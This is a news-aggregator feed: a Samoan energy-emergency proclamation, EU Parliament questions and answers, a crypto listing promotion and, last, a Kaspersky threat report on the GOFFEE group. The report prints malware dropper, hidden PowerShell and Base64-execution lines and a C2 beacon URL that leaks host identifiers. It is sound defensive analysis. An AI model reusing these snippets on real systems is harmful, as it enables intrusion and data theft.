    The Electric Power Corporation (EPC) has been working tirelessly to monitor the situation, identify solutions, and minimize, as best as possible, the impact on essential services and the daily lives of our people. Multiple factors have contributed to the current energy crisis, namely:

    1. Mechanical failures at the Fiaga Power Station resulted in the loss of primary generators that supply a substantial portion of Upolu’s electricity;

    2. A faulty underground transmission line disrupted power distribution across key parts of the national grid;

    3. Severe weather events, most notably the destructive storm of 9 March 2025, caused widespread damage to energy infrastructure and further hindered restoration efforts; and

    4. Rising electricity demand has placed additional strain on EPC’s generation capacity, particularly during peak consumption hours.

    The Government is pleased to provide an update on the priority actions implemented to date in response to the ongoing energy crisis:

    1. Temporary power generation units are scheduled to arrive on 5 April to provide immediate relief and supplement electricity supply. Full power restoration across Upolu is expected before the end of April, while awaiting the arrival and commissioning of permanent generators in August 2025.

    2. Overhaul parts for the Fiaga generators are currently being procured to restore them to full operational capacity.

    3. The Government remains committed to accelerating renewable energy and grid reinforcement projects to strengthen and diversify the national energy supply.

    The Proclamation of Emergency will enable the Government to implement urgent measures to stabilize the energy supply and mitigate the impacts of the crisis by:

    1. Ensuring the timely arrival and operation of temporary generators before the end of April, ahead of the permanent units scheduled for August, along with the necessary overhaul parts for Fiaga;

    2. Lifting tax and import duties on generators and other electricity-related equipment, including renewable energy systems, procured by EPC, households, businesses, and organizations for electricity generation;

    3. Mobilizing additional assistance and resources to support households, businesses, and private organizations adversely affected by the crisis;

    4. Securing additional and targeted financial and technical support to assist EPC in implementing medium to long-term remedial works; and

    5. Activating a whole-of-government coordinated response through the National Emergency Operations Centre (NEOC) to coordinate the Government’s response to the energy crisis.

    The Government acknowledges the significant hardship this energy crisis has placed on households, businesses, and essential services across the island of Upolu. We want to reassure everyone that restoring a stable electricity supply and supporting those most affected remain our top priorities. Every effort is being made to respond swiftly, minimize further disruptions, and provide relief where it is needed most.

    With unity, resilience, and collective action, we will overcome this challenge and move toward a more secure, sustainable, and affordable energy future for all of our people.

    Faafetai and God Bless Samoa.

    SAUNOAGA FA’APITOA A LE AFIOGA I LE PALEMIA, HON. FIAME NAOMI MATAAFA MO LE FA’AMAMALUINA O LE POLOĀ’IGA O FA’ALAVELAVE TUTUPU FA’AFUASE’I ONA O LE ‘ELETISE. [Aso Gafua, 31 Mati 2025]

    Ou te fa’afeiloa’i atu i lenei itula o le aso, i lau fa’afofoga’aga Samoa, mai tafa e fia o le atunu’u. O ou paia ma mamalu o le a lē afea e se fa’amatalaga, auā o Samoa o le fue lavelave, e leai se poto po’o se vave na te autalaina. Ae nu’unu’u atu ia sasaga fa’atini o tausala, i le galuega tausi a le usoga a Tumua ma Pule.

    Ole vi’iga o le Atua e lē fa’aitiitia, ona o lona agalelei ma lona alofa tunoa, o lo’o malu tapu ‘ā’aoina ai pea la tatou savaliga i lenei vaitau. Mālō le ta’i, fa’afetai le fai tatalo, mālō le tapua’i.

    Ona o a’afiaga ma le tulaga ogaoga ole motusia ai o le ‘eletise i le atunu’u, ua fa’amaonia ai nei e Lana Afioga i le Ao Mamalu o le Mālō, e tusa ma le Matā’upu 105 o le Fa’avae o le Mālō Tuto’atasi o Samoa 1960, le fa’amamaluina o le Poloā’iga mo Fa’alavelave Tutupu Fa’afuase’i [Proclamation of Emergency] e amata atu i le Aso Gafua, 31 Mati 2025 i le itula e 12:00 i le vaeluaga o le po se’ia o’o atu i le Aso Lua, 29 Aperila 2025.

    O lenei Poloaiga mo Faalavalave Tutupu Faafuasei o le a mafai ai e le Ma ̅lo ona faatinoina ma faanatinati ai galuega fesoasoani mo le toe faaleleia o auaunaga tau eletise atoa ai ma le faaitiitia o aafiaga ile atunuu.

    Ua faia lenei faaiuga e tali fuaitau atu ai ile tulaga ma’ale’ale ua iai nei le tau faasoasoaina ole eletise faapea aafiaga ile atunuu, e aofia ai:

    Aafiaga i tagata lautele ma le saogalemu o fale ma meatotino tau eletise ua faaleagaina.

    Aafiaga tau soifua maloloina o tagata lautele mai le fa’atamai’aina o oloa taumafa tu’u-aisa e lē gata i faleoloa ma falesiiatoa.

    Aafiaga i pisinisi ma atina’e o loo faamoemoe ai le tamaoaiga o tagata lautele.

    Le ono o’o atu i le 16 pasene o le tamaoaiga o le atunu’u (GDP) i totonu o le tausaga 2025, ua a’afia ona o le tulaga faaletonu o le eletise.

    I le taimi nei, o lo o galulue pea le Fa’alapotopotoga o Malosiata tau Eletise e toe fa’aleleia le auaunaga ma le fa’asoasoaina atu ole eletise i vaega uma ole atunuu ona o mafuaaga e aofia ai:

    Fa’aletonu i afi tetele i le Faleafi i Fiaga, ma ua a’afia ai se vaega tele o le motu o Upolu;

    Fa’aletonu i uaea malolosi o lo o i lalo o le ele’ele o lo’o fa’asoasoa ai le eletise;

    Motusia o laina ma le fa’aleagaina o pou molī i le malolosi o savili lea na tulai mai i le Aso Sā 09 Mati 2025,

    Si’itia le maualuga o manaoga tau eletise i totonu o le atunu’u, ma ua atili fa’aopo’opoina ai le eletise moomia pe a faatusa atu i le eletise maua, aemaise lava i taimi o lo o maualuga ai le manaoga tau eletise.

    O lo o galulue itutino uma o le Malo ina ia foia faafitauli nei, ma e avea lenei avanoa ou te tuuina atu ai se faamatalaga i le tulaga o lo o taoto ai nei galuega:

    O le Aso 05 Aperila 2025 o lo’o fuafua e taunu’u mai ai ni afi tetele mai fafo, ua lisiina mai mo le toe fa’aleleia ole auaunaga mo le motu i Upolu, a o talia ai le taunuu mai o afi tumau ile masina o Aokuso 2025.

    Ua mae’a ona fa’atauina totoga moomia mo le faaleleia o afi tetele i Fiaga, ma o lo o talia le taunuu mai mo le toe fa’aleleia atoa ai o auaunaga tau eletise.

    Faamautuina i se taimi vave le faatinoga o poloketi mo malosiaga faafouina (renewable energy) e tali atu ai ile siisii pea o manaoga tau eletise.

    O lenei Poloaiga, o le a fa’amamaluina mo le 30 aso, ma o le a lagolagoina ai taumafaiga uma a le tatou Malo e le gata mo le toe fa’aleleia o le auaunaga tau eletise mo le atunu’u atoa, ae fa’apea le fa’atinoina o galuega e tali atu ai i a’afiaga ona o le faaletonu o auaunaga tau eletise, ma e aofia ai le:

    Vave fa’aolaina o afi ua lisiina fa’avaitaimi i le masina o Aperila, e fa’atali ai le taunu’u mai o afi tetele ia Aokuso, fa’apea ma le toe fa’aleleia atoatoa o le auaunaga a le faleafi i Fiaga;

    Fa’apafala totogi o tiute ma lafoga mo afi, meafaigaluega e aofia ai ma malosiaga fa’afouina o le a fa’atauina mai mo le fa’aleleia o vaega ua fa’aletonu a le Fa’alapotopotoga o Malosiaga tau Eletise, fa’apea pisinisi, faalapotopotoga ma aiga taitasi;

    Faamautu polokalame fesoasoani e fa’amāmā ’avega mo aiga, pisinisi ma vaega maoti o le atunu’u ua a’afia;

    Faamautu atinae fesoasoani (vaega tupe ma tomai faapitoa) mo le faatinoga o fuafuaga alualumamao a le Faalapotopotoga o Malosiaga tau Eletise.

    Faatino matafaioi fa’aletulafono a le Komiti mo Fa’alavelave Tutupu Faafuasei, o lo o auai ai itutino uma o le Malo, pisinisi ma faalapotopotoga ina ia galulue faatasi mo le toe faaleleia o auaunaga tau eletise faapea fuafuaga mo le faaitiitia o aafiaga ile atunuu.

    Samoa e, e lē mavae le agaga fa’afetai i lo outou sao tāua e ala i le lalago mai i galuega faifaipea a lo tatou Mālō e tauala atu i le auaunaga a le Faalapotopotoga o Malosiaga tau Eletise. O ni taga e fai i vasa, ma ni tonu e le tuā le taumafai atu o le Mālō, pe ana leai lo outou finagalo malamalama e lagolagosua ma onosaia ai lenei galuega fītā. Fa’afetai tele i lo outou onosa’i ma le lava papale, a o fa’agasolo ai galuega fa’aleleia a le tatou Fa’alapotopotoga o Malosiaga tau Eletise.

    E momoli foi le fa’afetai ma le fa’amālō a lo tatou Mālō i le aufaigaluega galulue a le Faalapotopotoga o Malosiaga tau Eletise. Mālō le tautua, fa’afetai le galulue lē fa’alogologotigā. Le Atua o manuia, na te tauia lo outou afu sisina. O lo o tatou folau pea ma lu’itau e ui ina tatou folau mālie i le laula’i o Matāmatagi a o vavala mai ata o Tauleleia.

    E leai so tatou malosi, po o so tatou poto tatou te malu ai, pe ana le seanoa le Atua o lo’o tatou auauna i ai. Ua na o le Atua lava na te mafaia mea uma, o Ia na te fa’atonu folau ma ta’iala si o tatou atunu’u, e tusa ma le ta’ita’iga a lona Agaga Paia ma lona finagalo alofa iā Samoa. Ia tumau pea lo tatou fa’atuatua ma le mautinoa, pe lutia lava tatou i puava, tatou te mapu i Fagalele. O tua atu fo’i o le loulouā ma le mamafa o timuga, o lo o tumau ai pea le susulu o le la o le amiotonu a lo tatou Atua.

    Ia tumau i le alofa tulituliloa ma le finagalo fa’apaolo o lo tatou Atua, le faigāmalaga a Samoa.

    SOIFUA MA IA MANUIA.

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    April 10, 2025

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    April 10, 2025
  • MIL-OSI Europe: Answer to a written question – European military mobility infrastructure – E-000700/2025(ASW)

    Source: European Parliament

    The Commission recognises the critical role of high-quality infrastructure in ensuring connectivity and rapid response to crises at the EU’s borders.

    In the Multiannual financial framework ( MFF) 2021-2027 negotiations, the Commission initially proposed EUR 6.5 billion for dual-use transport infrastructure under Connecting Europe Facility — Transport (CEF-T), but the final budget concluded by the Member States in the Council was reduced to EUR 1.7 billion.

    Since the adoption of the current MFF, geopolitical circumstances have changed significantly. In response to Russia’s war of aggression against Ukraine, the Commission accelerated the implementation of the military mobility budget, fully allocating it over three calls (2021 -2023), supporting 95 projects in 21 Member States.

    The 2023 call alone saw funding requests totalling EUR 3.7 billion, demonstrating the increased urgency and the scale of investment needs.

    To enhance coordination and prioritisation, the Commission, in cooperation with the European External Action Service (EEAS) and the North Atlantic Treaty Organisation (NATO), identified four EU military mobility corridors, endorsed by the EU Military Committee in October 2024.

    These corridors were included in the revised Annex II to the Military Requirements for Military Mobility[1], adopted by the Council on 17 March 2025.

    Work is ongoing to assess main bottlenecks and investment needs on these corridors, particularly for short-term upgrades to enhance resilience and adapt to dual-use standards (e.g. rail capacity increase, tunnel widening, bridge reinforcements).

    • [1] https://eur-lex.europa.eu/legal-content/EN/TXT/PDF/?uri=celex:52025JC0011

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI Europe: Answer to a written question – Judicial reforms in Spain – E-000103/2025(ASW)

    Source: European Parliament

    As the Commission noted in its Rule of Law Reports[1], the organisation of national prosecution services varies across the EU, without there being a single model for all Member States.

    The structure and status of the national prosecution systems is a competence of the Member States. However, institutional safeguards should be in place to guarantee that the prosecution is sufficiently autonomous and can carry out effective and impartial investigations without political interference.

    On the reform of third-party intervention, the Commission is following closely the discussions in Spain.

    The Commission is working with all Member States, including Spain, to uphold and promote the rule of law in the framework of the Rule of Law Mechanism.

    • [1] https://commission.europa.eu/document/download/62fdb34b-78d4-4d53-b9ea-67286facc01e_en?filename=23_1_52576_coun_chap_spain_en.pdf
      and https://commission.europa.eu/document/download/2bd09a6f-ef56-494a-8303-e0de808ee981_en?filename=23_1_58063_coun_chap_spain_en_0.pdf
    Last updated: 10 April 2025

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI Europe: Answer to a written question – The Constitutional Court of Romania’s decision from the perspective of rules on the rule of law – E-000133/2025(ASW)

    Source: European Parliament

    Democracy and the rule of law are founding values of the EU. Free and fair elections are at the core of democracy. The organisation and the conduct of national elections fall entirely within the competence and responsibility of the Member States, in line with their constitutional and legislative rules, while complying with their obligations deriving from EU law. National competent authorities and courts have the primary responsibility to ensure the respect of these rules.

    The Commission supports Member States, notably in the framework of the European Cooperation Network on Elections, which brings together national authorities with responsibilities that are relevant to electoral matters.

    This network allows for exchanges of information and best practices and to discuss challenges to electoral processes, including in the context of recent or upcoming elections in the EU.

    Last updated: 10 April 2025

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI Europe: Written question – Institutional communication of the Commission and the situation in Türkiye – P-001397/2025

    Source: European Parliament

    Priority question for written answer  P-001397/2025
    to the Commission
    Rule 144
    Dario Nardella (S&D)

    On 3 April 2025, Commissioner for Enlargement Marta Kos and Commissioner for Economy and Productivity and for Implementation and Simplification Valdis Dombrovskis met Türkiye’s Minister of Treasury and Finance Mehmet Şimşek in Brussels for a High-Level Economic Dialogue between the EU and Türkiye. Following the meeting, Commissioner Kos published a post on X in which she referred to the meeting held and the recent wave of arrests following mayor Ekrem İmamoğlu’s arrest, emphasising the importance of the rule of law in Türkiye. This post was subsequently modified.

    In the light of the above, can the Commission answer the following:

    • 1.Why did Commissioner Kos decide to edit the X post and change its tone?
    • 2.Was the decision taken because of pressure exerted by President Tayyip Erdoğan?
    • 3.What specific measures does the Commission intend to adopt with regard to the Turkish Government, following the arrest of mayor İmamoğlu and the evident violations of the rule of law?

    Submitted: 7.4.2025

    Last updated: 10 April 2025

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI Europe: Press release – Soil monitoring: deal with Council on new EU law with better support for farmers

    Source: European Parliament

    The informal agreement between EU co-legislators will ensure soil is monitored in all EU countries and farmers get better support to improve soil health.

    On Wednesday evening, Parliament and Council negotiators reached a provisional political agreement on the Commission’s proposal for a soil monitoring law. The overall objective is to have healthy European soils by 2050, in line with the EU’s “zero pollution” ambition. It should also provide for a more coherent and harmonised EU framework for soil monitoring.

    Monitoring and assessing EU soils

    According to the deal, member states will have to monitor and assess soil health across their territories using common soil descriptors – characterising the physical, chemical, and biological aspect of soil health for each soil type – and an EU methodology for sampling points. To make it simpler for member states, they will be free to build on national soil monitoring campaigns or other equivalent methodologies. The Commission will support member states by reinforcing its current EU soil sampling programme, LUCAS Soils. It will offer tailor-made financial and technical support.

    To reflect different levels of soil degradation and local conditions, national governments will set non-binding, sustainable, targets for each soil descriptor, in line with the overall objective of improving soil health.

    No new obligations for farmers

    To protect farmers and foresters, the agreed directive does not impose any new obligations on landowners or land managers. Instead, it obliges EU countries to help them improve soil health and soil resilience – the soil’s capacity to keep playing its important role in the ecosystem. Support measures may include independent advice, training activities, and capacity building, as well as the promotion of research and innovation, and measures to raise awareness of the benefits of soil resilience. Member states will also have to assess regularly the financial cost to farmers and foresters’ of improving soil health and soil resilience.

    Contaminated soils

    The law will require member states to draw up a public list of potentially contaminated sites within ten years of its entry into force and address any unacceptable risks to human health and the environment.

    Finally, an indicative watch list of emerging substances that could pose a significant risk to soil health, human health or the environment, and for which data is needed, will be drawn up 18 months after the law enters into force. This list will include relevant PFAS (also known as “forever chemicals”) and pesticides.

    Quote

    On reaching the agreement, rapporteur Martin Hojsík (Renew, SK) said: “Today’s deal is an important milestone in improving support for farmers and all others in keeping the soil healthy. Providing them with better information and help, while preventing bureaucracy and new obligations, are cornerstones of the new soil monitoring law.”

    Next steps

    Parliament and the Council have concluded an “early second reading agreement” (the negotiation took place after Parliament’s first reading was adopted in plenary). The Council is now expected to adopt this agreement formally, and Parliament will then have to endorse the text in plenary, in second reading.

    The directive will enter into force 20 days after its publication in the EU Official Journal. From this date, EU countries will have three years to comply.

    Background

    An estimated 60 to 70% of European soils are unhealthy due to urbanisation, low land recycling rates, intensification of agriculture practices, and climate change. Degraded soils are major drivers of the climate and biodiversity crises, and they reduce the provision of key ecosystem services. This costs the EU at least €50 billion per year, according to the Commission.

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI Europe: Answer to a written question – Preventing heart disease and updating health regulations – E-000105/2025(ASW)

    Source: European Parliament

    The Commission recognises that cardiovascular diseases have a significant impact on many people, communities and health systems in the EU.

    The ‘Healthier Together’ initiative[1], co-created with Member States and stakeholders, provides the strategic framework to support Member States in tackling non-communicable diseases, including cardiovascular diseases.

    The Commission supports knowledge sharing, such as the exchange of best practices[2] between Member States, and activities to improve health literacy.

    Financial support is provided under the EU4Health Programme[3] to implement best practices that contribute to reducing preventable deaths caused by cardiovascular diseases.

    The President of the Commission announced in her political guidelines that the Commission will step up work on preventive health, focusing on improving cardiovascular health through coordinated efforts, and entrusted the Commissioner for Health and Animal Welfare with leading this work.

    As it was announced by the Commissioner, the Commission is currently developing an ambitious Plan for European Cardiovascular Health, building on the success of Europe’s Beating Cancer Plan.

    Work is ongoing through the joint action on cardiovascular diseases and diabetes, and with technical support from international partners, such as the World Health Organisation and the Organisation for Economic Cooperation and Development.

    The Commission is working closely with the Expert Group on Public Health[4], the main forum for discussions with Member States on key public health challenges.

    Member States may also decide to organise specific awareness campaigns at national level with the aim of increasing knowledge on the prevention of sudden cardiac arrest in sportspeople.

    • [1] https://health.ec.europa.eu/non-communicable-diseases/healthier-together-eu-non-communicable-diseases-initiative_en
    • [2] https://webgate.ec.europa.eu/dyna/bp-portal/
    • [3] EU4Health programme 2021-2027: https://health.ec.europa.eu/funding/eu4health-programme-2021-2027-vision-healthier-european-union_en; also replied in Answer to Written Question E-000092/2023 (ASW): https://www.europarl.europa.eu/doceo/document/E-9-2023-000092-ASW_EN.html
    • [4] https://health.ec.europa.eu/non-communicable-diseases/expert-group-public-health_en

    MIL OSI Europe News –

    April 10, 2025
  • MIL-OSI: MEXC to List KernelDAO ($KERNEL) with a 135,000 USDT Prize Pool

    Source: GlobeNewswire (MIL-OSI)

    VICTORIA, Seychelles, April 10, 2025 (GLOBE NEWSWIRE) — MEXC, a leading global cryptocurrency exchange, is thrilled to announce the KernelDAO ($KERNEL) listing on April 14, 2025(UTC). This strategic addition reinforces MEXC’s commitment to providing users with access to innovative and high-potential crypto projects.

    KernelDAO is an advanced restaking protocol designed to enhance the security and utility of staked assets across the entire restaking stack. It powers three core product lines: Kernel — a foundational restaking layer supporting BTC, BNB, and yield-bearing assets; Kelp LRT — the second-largest liquid restaking solution on Ethereum; and Gain — an innovative reward farming vault integrating tokenized strategies across both crypto and real-world assets (RWAs). With a total value locked (TVL) exceeding $2 billion, KernelDAO is backed by industry leaders including Binance Labs, Laser Digital, SCB, Bankless Ventures, Hypersphere, DACM, and more.

    $KERNEL is the governance and utility token that powers the KernelDAO ecosystem. Holders can stake $KERNEL to strengthen network security, participate in governance, and maximize returns through veKERNEL staking, liquidity incentives, and slashing protection.

    To celebrate this new listing, MEXC is launching an exclusive Airdrop+ Event, featuring a total prize pool of 135,000 USDT. Below are the key details of the event:

    Event Period: April 8, 2025, 7:00 – April 18, 2025, 10:00 (UTC)
    Benefit 1: Deposit and share 60,000 USDT (New user exclusive)
    Benefit 2: Spot Challenge — Trade to share 15,000 USDT (For all users)
    Benefit 3: Futures Challenge — Trade to share 50,000 USDT in Futures bonus (For all users)
    Benefit 4: Invite new users and share 10,000 USDT (For all users)

    For full event details and participation rules, please visit here.

    MEXC has established itself as an industry leader by consistently providing users with early access to promising crypto projects. In 2024, MEXC introduced 2,376 new tokens, with 1,716 initial listings. According to the latest TokenInsight report, from November 1, 2024, to February 15, 2025, MEXC led the industry with an impressive 461 spot listings. Additionally, during the bi-weekly periods, MEXC maintained a high listing frequency, consistently ranking among the top six exchanges and demonstrating its ability to capture market trends quickly. MEXC will continue to innovate and expand its offerings, providing users with the best opportunities in the ever-evolving crypto space.

    About MEXC
    Founded in 2018, MEXC is committed to being “Your Easiest Way to Crypto.” Serving over 36 million users across 170+ countries, MEXC is known for its broad selection of trending tokens, everyday airdrop opportunities, and low trading fees. Our user-friendly platform is designed to support both new traders and experienced investors, offering secure and efficient access to digital assets. MEXC prioritizes simplicity and innovation, making crypto trading more accessible and rewarding.
    MEXC Official Website| X | Telegram |How to Sign Up on MEXC

    Risk Disclaimer:
    The information provided in this article regarding cryptocurrencies does not constitute investment advice. Given the highly volatile nature of the cryptocurrency market, investors are encouraged to carefully assess market fluctuations, the fundamentals of projects, and potential financial risks before making any trading decisions.

    Source

    Contact:
    Lucia Hu
    lucia.hu@mexc.com

    Disclaimer: This press release is provided by MEXC. The statements, views, and opinions expressed in this content are solely those of the content provider and do not necessarily reflect the views of this media platform or its publisher. We do not endorse, verify, or guarantee the accuracy, completeness, or reliability of any information presented. We do not guarantee any claims, statements, or promises made in this article. This content is for informational purposes only and should not be considered financial, investment, or trading advice.

    Investing in crypto and mining-related opportunities involves significant risks, including the potential loss of capital. It is possible to lose all your capital. These products may not be suitable for everyone, and you should ensure that you understand the risks involved. Seek independent advice if necessary. Speculate only with funds that you can afford to lose. Readers are strongly encouraged to conduct their own research and consult with a qualified financial advisor before making any investment decisions. However, due to the inherently speculative nature of the blockchain sector—including cryptocurrency, NFTs, and mining—complete accuracy cannot always be guaranteed.

    Neither the media platform nor the publisher shall be held responsible for any fraudulent activities, misrepresentations, or financial losses arising from the content of this press release. In the event of any legal claims or charges against this article, we accept no liability or responsibility.

    Legal Disclaimer: This media platform provides the content of this article on an “as-is” basis, without any warranties or representations of any kind, express or implied. We do not assume any responsibility or liability for the accuracy, content, images, videos, licenses, completeness, legality, or reliability of the information presented herein. Any concerns, complaints, or copyright issues related to this article should be directed to the content provider mentioned above.

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/e7155287-50bb-495e-ad08-f86d90de3215

    The MIL Network –

    April 10, 2025
  • MIL-OSI Economics: GOFFEE continues to attack organizations in Russia

    Source: Securelist – Kaspersky

    Headline: GOFFEE continues to attack organizations in Russia

    GOFFEE is a threat actor that first came to our attention in early 2022. Since then, we have observed malicious activities targeting exclusively entities located in the Russian Federation, leveraging spear phishing emails with a malicious attachment. Starting in May 2022 and up until summer of 2023, GOFFEE deployed modified Owowa (malicious IIS module) in their attacks. As of 2024, GOFFEE started to deploy patched malicious instances of explorer.exe via spear phishing.

    During the second half of 2024, GOFFEE continued to launch targeted attacks against organizations in Russia, utilizing PowerTaskel, a non-public Mythic agent written in PowerShell, and introducing a new implant that we dubbed “PowerModul”. The targeted sectors included media and telecommunications, construction, government entities, and energy companies.

    This report in a nutshell:

    • GOFFEE updated distribution schemes.
    • A previously undescribed implant dubbed PowerModul was introduced.
    • GOFFEE is increasingly abandoning the use of PowerTaskel in favor of a binary Mythic agent for lateral movement.

    For more information, please contact: intelreports@kaspersky.com

    Technical details

    Initial infection

    Currently, several infection schemes are being used at the same time. The starting point is typically a phishing email with a malicious attachment, but the schemes diverge slightly from there. We will review two of them relevant at the time of the research.

    The first infection scheme uses a RAR archive with an executable file masquerading as a document. In some cases, the file name uses a double extension, such as “.pdf.exe” or “.doc.exe”. When the user clicks the executable file, a decoy document is downloaded from the C2 and opened, while malicious activity is carried out in parallel.

    Example of decoy document

    The file itself is a Windows system file (explorer.exe or xpsrchvw.exe), with part of its code patched with a malicious shellcode. The shellcode is similar to what we saw in earlier attacks, but in addition contains an obfuscated Mythic agent, which immediately begins communicating with the command-and-control (C2) server.

    Malware execution flow v1

    In the second case, the RAR archive contains a Microsoft Office document with a macro that serves as a dropper.

    Malware execution flow v2

    Malicious document with a macro

    When a document is opened, scrambled text and a warning image with the message, “This document was created in an earlier version of Microsoft Office Word. For Microsoft Office Word to display the contents correctly, click ‘Enable Content’”, are shown. Clicking “Enable Content” activates a macro that hides the warning image and restores the text through a normal character replacement operation. Additionally, the macro creates two files in the user’s current folder: an HTA and a PowerShell file, and writes the HTA into the registry using the “LOAD” registry value of the “HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows” registry key.

    HKCUSoftwareMicrosoftWindows NTCurrentVersionWindows

    “LOAD”=“C:UsersUserCache.ini.hta”

    Although the macro itself does not start anything or create new processes, the programs listed in the “LOAD” value of the registry key are run automatically for the currently logged-on user.

    UserCache.ini.hta content

    The malicious HTA runs a PowerShell script (PowerModul), but not directly. Instead, it first uses cmd.exe and output redirection to drop a JavaScript file named “UserCacheHelper.lnk.js” onto the disk, and then executes it. Only then does the dropped JavaScript run PowerModul:

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    cmd.exe /c if not exist “C:UsersuserUserCacheHelper.lnk.js” echo var objService = GetObject(“winmgmts:.rootcimv2”);var objStartup = objService.Get(“Win32_ProcessStartup”);var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get(“Win32_Process”);var command = “powershell.exe -c “$raw= Get-Content C:UsersuserUserCache.ini;Invoke-Expression $raw””;var result = processClass.Create(command, null, objConfig, 0); > C:UsersuserUserCacheHelper.lnk.js

    It is worth noting that “UserCache.ini.hta” and “UserCacheHelper.lnk.js” contain strings with full paths to the files, including the local user’s name, instead of environment variables. As a result, the control keys, as well as the file sizes, will vary depending on the current user’s name.

    UserCacheHelper.lnk.js content

    The “UserCacheHelper.lnk.js” file launches a PowerShell file named “UserCache.ini”, dropped by the initial macro. This file contains encoded PowerModul.

    PowerModul

    MD5 60A53D2C653991F086C4E6663D652CF2
    SHA1 636814C31B78DD291049029A655238D7ADAFF041
    SHA256 BE1D0FAF1C253FAACBA1059971B01D1D646256D7B2E557DA55ED059542AFDBCD
    File type PowerShell
    File size 6.66 KB
    File name UserCache.ini

    PowerModul is a PowerShell script capable of receiving and executing additional PowerShell scripts from the C2 server. The first instances of this implant’s usage were detected at the beginning of 2024. Initially, it was used to download and launch the PowerTaskel implant, and was considered a relatively minor component for launching PowerTaskel. However, its use of a unique protocol, distinct payload types, and a C2 server different from PowerTaskel’s led us to classify it as a separate family.

    UserCache.ini content

    In the scheme being described, the PowerModul code is embedded in the “UserCache.ini” file as a Base64-encoded string. The beginning and end of the decoded script are shown in the images below, while the middle section contains a copy of the HTA file, as well as code responsible for dropping the HTA file onto the disk, writing it to the registry, and hiding the file by changing its attributes to “Hidden”. Essentially, this code replicates part of the functionality of the VBA macro found in the Word document, except for file hiding, which was not implemented in VBA.

    Beginning of PowerModul

    End of PowerModul

    When accessing the C2, PowerModul appends an infected system identifier string to the C2 URL, consisting of the computer name, username, and disk serial number, separated with underscores:

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    hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number}

    The response from the C2 is in XML format, complete with scripts encoded in Base64:



    ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC….==
    250
    1


    ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I…

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    HTTP/1.1 200 OK

    Server: nginx/1.18.0

    Content–Type: text/plain

    Content–Length: 35373

    Connection: keep–alive

    Configs>

      Config>

    Module>ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC....==/Module>

    CountRuns>250/CountRuns>

    Interval>1/Interval>

      /Config>

      Config>

    Module>ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I.../Module>

    There is an additional, previously undescribed function in PowerModul, named “OfflineWorker()”. It decodes a predefined string and executes its contents. In the instance shown in the screenshots above, the string to be decoded is empty, and therefore, nothing is executed. However, we have observed cases where the string contained content. An example of the OfflineWorker() function containing the FlashFileGrabber data stealing tool code is shown below:

    if($___offlineFlash -ne ”){
    $___flashOfflineDecoded = FromBase64 $___offlineFlash;
    Invoke-Expression($___flashOfflineDecoded);
    }
    }
    catch{}
    }

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    function OfflineWorker() {

    try{

         $___offlineFlash = ‘ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE…….=’;

         if($___offlineFlash –ne ”){

             $___flashOfflineDecoded = FromBase64 $___offlineFlash;

             Invoke–Expression($___flashOfflineDecoded);

         }

    }

    catch{}

    }

    The payloads used by PowerModul include the PowerTaskel, FlashFileGrabber, and USB Worm tools.

    FlashFileGrabber

    As its name suggests, FlashFileGrabber is designed to steal files from removable media, such as flash drives. We have identified two variants: FlashFileGrabber and FlashFileGrabberOffline.

    FlashFileGrabberOffline main routine

    FlashFileGrabberOffline searches removable media for files with specific extensions, and when found, copies them to the local disk. To accomplish this, it creates a series of subdirectories in the TEMP folder, following the template “%TEMP%CacheStoreconnect”. The folder names “CacheStore” and “connect” are hardcoded within the script. Examples of such paths are provided below:

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    %TEMP%CacheStoreconnect624311032024some.pdf

    %TEMP%CacheStoreconnect62431103Documentssome.docx

    %TEMP%CacheStoreconnect62431103attachment.jpg

    %TEMP%CacheStoreconnect6c1d1372Printresume.docx

    Additionally, a file named “ftree.db” is created at the path specified in the template, which stores metadata for the copied files, including the full path to the original file, its size, and dates of last access and modification. Furthermore, in the “%AppData%” folder, the “internal_profiles.db” file is created, storing the MD5 sums of the aforementioned metadata. This allows the malware to avoid copying the same files more than once:

    %TEMP%CacheStoreconnectVolumeSerialNumber>ftree.db

    %AppData%internal_profiles.db

    The list of file extensions of interest is as follows:

    .7z .kml .rar
    .conf .log .rtf
    .csv .lrf .scr
    .doc .mdb .thm
    .docx .ods .txt
    .dwg .odt .xlm
    .heic .ovpn .xls
    .hgt .pdf .xlsm
    .html .png .xlsx
    .jpeg .pptx .xml
    .jpg .ps1 .zip

    FlashFileGrabber largely duplicates the functionality of FlashFileGrabberOffline, but with one key difference: it is capable of sending files to the C2 server.

    FlashFileGrabber’s routines

    USB Worm

    USB Worm is capable of infecting removable media with a copy of PowerModul. To achieve this, the worm renames the files on the removable disk with a random name, retaining their original extension, and assigns them the “Hidden” file attribute. The “UserCache.ini” file, which contains PowerModul, is then copied to the folder with the original file.

    USB Worm main routine

    Additionally, the worm creates hidden VBS and batch files to launch PowerModul and open a decoy document.

    CreateVBSFile() and CreateBatFile() functions

    Set WshShell = WScript.CreateObject(“WScript.Shell”)

    WshShell.Run Chr(34) & “.zermndzg.bat” & Chr(34), 0, False

    WshShell.Run Chr(34) & “.zermndzg.docx” & Chr(34), 1, False

    Set WshShell = Nothing

    Example of the contents of a malicious VBS

    1

    powershell –exec bypass –windowstyle hidden –nop –c “$raw= [io.file]::ReadAllText(““”.UserCache.ini“”“); iex $raw;”

    Example of the contents of a malicious batch file

    A shortcut is also created with the original name of the decoy document, which, when launched, executes the VBS file.

    CreateShortcutForFile() function

    To disguise the shortcut, the worm assigns an icon from the shell32.dll library, depending on the extension of the original file. The worm limits the number of documents replaced with shortcuts to five, selecting only the most recently accessed files by sorting them according to their LastAccessTime attribute.

